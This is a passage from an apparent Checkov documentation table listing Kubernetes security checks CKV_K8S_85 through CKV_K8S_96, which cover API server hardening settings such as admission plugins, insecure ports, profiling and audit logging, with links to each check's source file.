[ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                       |\n| 472 | CKV_K8S_85  | resource | Deployment             | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                       |\n| 473 | CKV_K8S_85  | resource | DeploymentConfig       | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                       |\n| 474 | CKV_K8S_85  | resource | Job                    | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                       |\n| 475 | CKV_K8S_85  | resource | Pod                    | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                       |\n| 476 | CKV_K8S_85  | resource | PodTemplate            | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                       |\n| 477 | CKV_K8S_85  | resource | ReplicaSet             | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                       |\n| 478 | CKV_K8S_85  | resource | ReplicationController  | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                       |\n| 479 | CKV_K8S_85  | resource | StatefulSet            | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                       |\n| 480 | CKV_K8S_86  | resource | CronJob                | Ensure that the --insecure-bind-address argument is not set                                                                                                                                    | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                           |\n| 481 | CKV_K8S_86  | resource | DaemonSet              | Ensure that the --insecure-bind-address argument is not set                                                                                                                                    | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                           |\n| 482 | CKV_K8S_86  | resource | Deployment             | Ensure that the --insecure-bind-address argument is not set                                                                                                                                    | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                           |\n| 483 | CKV_K8S_86  | resource | DeploymentConfig       | Ensure that the --insecure-bind-address argument is not set                                                                                                                                    | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                           |\n| 484 | CKV_K8S_86  | resource | Job                    | Ensure that the --insecure-bind-address argument is not set                                                                                                                                    | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                           |\n| 485 | CKV_K8S_86  | resource | Pod                    | Ensure that the --insecure-bind-address argument is not set                                                                                                                                    | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                           |\n| 486 | CKV_K8S_86  | resource | PodTemplate            | Ensure that the --insecure-bind-address argument is not set                                                                                                                                    | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                           |\n| 487 | CKV_K8S_86  | resource | ReplicaSet             | Ensure that the --insecure-bind-address argument is not set                                                                                                                                    | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                           |\n| 488 | CKV_K8S_86  | resource | ReplicationController  | Ensure that the --insecure-bind-address argument is not set                                                                                                                                    | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                           |\n| 489 | CKV_K8S_86  | resource | StatefulSet            | Ensure that the --insecure-bind-address argument is not set                                                                                                                                    | Kubernetes | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                           |\n| 490 | CKV_K8S_88  | resource | CronJob                | Ensure that the --insecure-port argument is set to 0                                                                                                                                           | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                         |\n| 491 | CKV_K8S_88  | resource | DaemonSet              | Ensure that the --insecure-port argument is set to 0                                                                                                                                           | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                         |\n| 492 | CKV_K8S_88  | resource | Deployment             | Ensure that the --insecure-port argument is set to 0                                                                                                                                           | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                         |\n| 493 | CKV_K8S_88  | resource | DeploymentConfig       | Ensure that the --insecure-port argument is set to 0                                                                                                                                           | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                         |\n| 494 | CKV_K8S_88  | resource | Job                    | Ensure that the --insecure-port argument is set to 0                                                                                                                                           | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                         |\n| 495 | CKV_K8S_88  | resource | Pod                    | Ensure that the --insecure-port argument is set to 0                                                                                                                                           | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                         |\n| 496 | CKV_K8S_88  | resource | PodTemplate            | Ensure that the --insecure-port argument is set to 0                                                                                                                                           | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                         |\n| 497 | CKV_K8S_88  | resource | ReplicaSet             | Ensure that the --insecure-port argument is set to 0                                                                                                                                           | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                         |\n| 498 | CKV_K8S_88  | resource | ReplicationController  | Ensure that the --insecure-port argument is set to 0                                                                                                                                           | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                         |\n| 499 | CKV_K8S_88  | resource | StatefulSet            | Ensure that the --insecure-port argument is set to 0                                                                                                                                           | Kubernetes | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                         |\n| 500 | CKV_K8S_89  | resource | CronJob                | Ensure that the --secure-port argument is not set to 0                                                                                                                                         | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                             |\n| 501 | CKV_K8S_89  | resource | DaemonSet              | Ensure that the --secure-port argument is not set to 0                                                                                                                                         | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                             |\n| 502 | CKV_K8S_89  | resource | Deployment             | Ensure that the --secure-port argument is not set to 0                                                                                                                                         | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                             |\n| 503 | CKV_K8S_89  | resource | DeploymentConfig       | Ensure that the --secure-port argument is not set to 0                                                                                                                                         | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                             |\n| 504 | CKV_K8S_89  | resource | Job                    | Ensure that the --secure-port argument is not set to 0                                                                                                                                         | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                             |\n| 505 | CKV_K8S_89  | resource | Pod                    | Ensure that the --secure-port argument is not set to 0                                                                                                                                         | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                             |\n| 506 | CKV_K8S_89  | resource | PodTemplate            | Ensure that the --secure-port argument is not set to 0                                                                                                                                         | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                             |\n| 507 | CKV_K8S_89  | resource | ReplicaSet             | Ensure that the --secure-port argument is not set to 0                                                                                                                                         | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                             |\n| 508 | CKV_K8S_89  | resource | ReplicationController  | Ensure that the --secure-port argument is not set to 0                                                                                                                                         | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                             |\n| 509 | CKV_K8S_89  | resource | StatefulSet            | Ensure that the --secure-port argument is not set to 0                                                                                                                                         | Kubernetes | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                             |\n| 510 | CKV_K8S_90  | resource | CronJob                | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                               |\n| 511 | CKV_K8S_90  | resource | DaemonSet              | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                               |\n| 512 | CKV_K8S_90  | resource | Deployment             | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                               |\n| 513 | CKV_K8S_90  | resource | DeploymentConfig       | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                               |\n| 514 | CKV_K8S_90  | resource | Job                    | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                               |\n| 515 | CKV_K8S_90  | resource | Pod                    | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                               |\n| 516 | CKV_K8S_90  | resource | PodTemplate            | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                               |\n| 517 | CKV_K8S_90  | resource | ReplicaSet             | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                               |\n| 518 | CKV_K8S_90  | resource | ReplicationController  | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                               |\n| 519 | CKV_K8S_90  | resource | StatefulSet            | Ensure that the --profiling argument is set to false                                                                                                                                           | Kubernetes | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                               |\n| 520 | CKV_K8S_91  | resource | CronJob                | Ensure that the --audit-log-path argument is set                                                                                                                                               | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                 |\n| 521 | CKV_K8S_91  | resource | DaemonSet              | Ensure that the --audit-log-path argument is set                                                                                                                                               | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                 |\n| 522 | CKV_K8S_91  | resource | Deployment             | Ensure that the --audit-log-path argument is set                                                                                                                                               | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                 |\n| 523 | CKV_K8S_91  | resource | DeploymentConfig       | Ensure that the --audit-log-path argument is set                                                                                                                                               | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                 |\n| 524 | CKV_K8S_91  | resource | Job                    | Ensure that the --audit-log-path argument is set                                                                                                                                               | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                 |\n| 525 | CKV_K8S_91  | resource | Pod                    | Ensure that the --audit-log-path argument is set                                                                                                                                               | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                 |\n| 526 | CKV_K8S_91  | resource | PodTemplate            | Ensure that the --audit-log-path argument is set                                                                                                                                               | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                 |\n| 527 | CKV_K8S_91  | resource | ReplicaSet             | Ensure that the --audit-log-path argument is set                                                                                                                                               | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                 |\n| 528 | CKV_K8S_91  | resource | ReplicationController  | Ensure that the --audit-log-path argument is set                                                                                                                                               | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                 |\n| 529 | CKV_K8S_91  | resource | StatefulSet            | Ensure that the --audit-log-path argument is set                                                                                                                                               | Kubernetes | [ApiServerAuditLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py)                                                                 |\n| 530 | CKV_K8S_92  | resource | CronJob                | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                     | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                     |\n| 531 | CKV_K8S_92  | resource | DaemonSet              | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                     | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                     |\n| 532 | CKV_K8S_92  | resource | Deployment             | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                     | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                     |\n| 533 | CKV_K8S_92  | resource | DeploymentConfig       | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                     | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                     |\n| 534 | CKV_K8S_92  | resource | Job                    | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                     | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                     |\n| 535 | CKV_K8S_92  | resource | Pod                    | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                     | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                     |\n| 536 | CKV_K8S_92  | resource | PodTemplate            | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                     | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                     |\n| 537 | CKV_K8S_92  | resource | ReplicaSet             | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                     | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                     |\n| 538 | CKV_K8S_92  | resource | ReplicationController  | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                     | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                     |\n| 539 | CKV_K8S_92  | resource | StatefulSet            | Ensure that the --audit-log-maxage argument is set to 30 or as appropriate                                                                                                                     | Kubernetes | [ApiServerAuditLogMaxAge.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py)                                                     |\n| 540 | CKV_K8S_93  | resource | CronJob                | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                  | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                               |\n| 541 | CKV_K8S_93  | resource | DaemonSet              | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                  | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                               |\n| 542 | CKV_K8S_93  | resource | Deployment             | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                  | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                               |\n| 543 | CKV_K8S_93  | resource | DeploymentConfig       | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                  | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                               |\n| 544 | CKV_K8S_93  | resource | Job                    | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                  | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                               |\n| 545 | CKV_K8S_93  | resource | Pod                    | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                  | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                               |\n| 546 | CKV_K8S_93  | resource | PodTemplate            | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                  | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                               |\n| 547 | CKV_K8S_93  | resource | ReplicaSet             | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                  | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                               |\n| 548 | CKV_K8S_93  | resource | ReplicationController  | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                  | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                               |\n| 549 | CKV_K8S_93  | resource | StatefulSet            | Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate                                                                                                                  | Kubernetes | [ApiServerAuditLogMaxBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py)                                               |\n| 550 | CKV_K8S_94  | resource | CronJob                | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                   | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                   |\n| 551 | CKV_K8S_94  | resource | DaemonSet              | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                   | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                   |\n| 552 | CKV_K8S_94  | resource | Deployment             | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                   | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                   |\n| 553 | CKV_K8S_94  | resource | DeploymentConfig       | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                   | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                   |\n| 554 | CKV_K8S_94  | resource | Job                    | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                   | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                   |\n| 555 | CKV_K8S_94  | resource | Pod                    | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                   | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                   |\n| 556 | CKV_K8S_94  | resource | PodTemplate            | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                   | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                   |\n| 557 | CKV_K8S_94  | resource | ReplicaSet             | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                   | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                   |\n| 558 | CKV_K8S_94  | resource | ReplicationController  | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                   | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                   |\n| 559 | CKV_K8S_94  | resource | StatefulSet            | Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate                                                                                                                   | Kubernetes | [ApiServerAuditLogMaxSize.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py)                                                   |\n| 560 | CKV_K8S_95  | resource | CronJob                | Ensure that the --request-timeout argument is set as appropriate                                                                                                                               | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                     |\n| 561 | CKV_K8S_95  | resource | DaemonSet              | Ensure that the --request-timeout argument is set as appropriate                                                                                                                               | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                     |\n| 562 | CKV_K8S_95  | resource | Deployment             | Ensure that the --request-timeout argument is set as appropriate                                                                                                                               | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                     |\n| 563 | CKV_K8S_95  | resource | DeploymentConfig       | Ensure that the --request-timeout argument is set as appropriate                                                                                                                               | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                     |\n| 564 | CKV_K8S_95  | resource | Job                    | Ensure that the --request-timeout argument is set as appropriate                                                                                                                               | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                     |\n| 565 | CKV_K8S_95  | resource | Pod                    | Ensure that the --request-timeout argument is set as appropriate                                                                                                                               | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                     |\n| 566 | CKV_K8S_95  | resource | PodTemplate            | Ensure that the --request-timeout argument is set as appropriate                                                                                                                               | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                     |\n| 567 | CKV_K8S_95  | resource | ReplicaSet             | Ensure that the --request-timeout argument is set as appropriate                                                                                                                               | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                     |\n| 568 | CKV_K8S_95  | resource | ReplicationController  | Ensure that the --request-timeout argument is set as appropriate                                                                                                                               | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                     |\n| 569 | CKV_K8S_95  | resource | StatefulSet            | Ensure that the --request-timeout argument is set as appropriate                                                                                                                               | Kubernetes | [ApiServerRequestTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py)                                                     |\n| 570 | CKV_K8S_96  | resource | CronJob                | Ensure that the --service-account-lookup argument is set to true                                                                                                                               | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                         |\n| 571 | CKV_K8S_96  | resource | DaemonSet              | Ensure that the --service-account-lookup argument is set to true                                                                                                                               | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                         |\n| 572 | CKV_K8S_96  | resource | Deployment             | Ensure that the --service-account-lookup argument is set to true                                                                                                                               | Kubernetes | [ApiServerServiceAccountLookup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py)                                         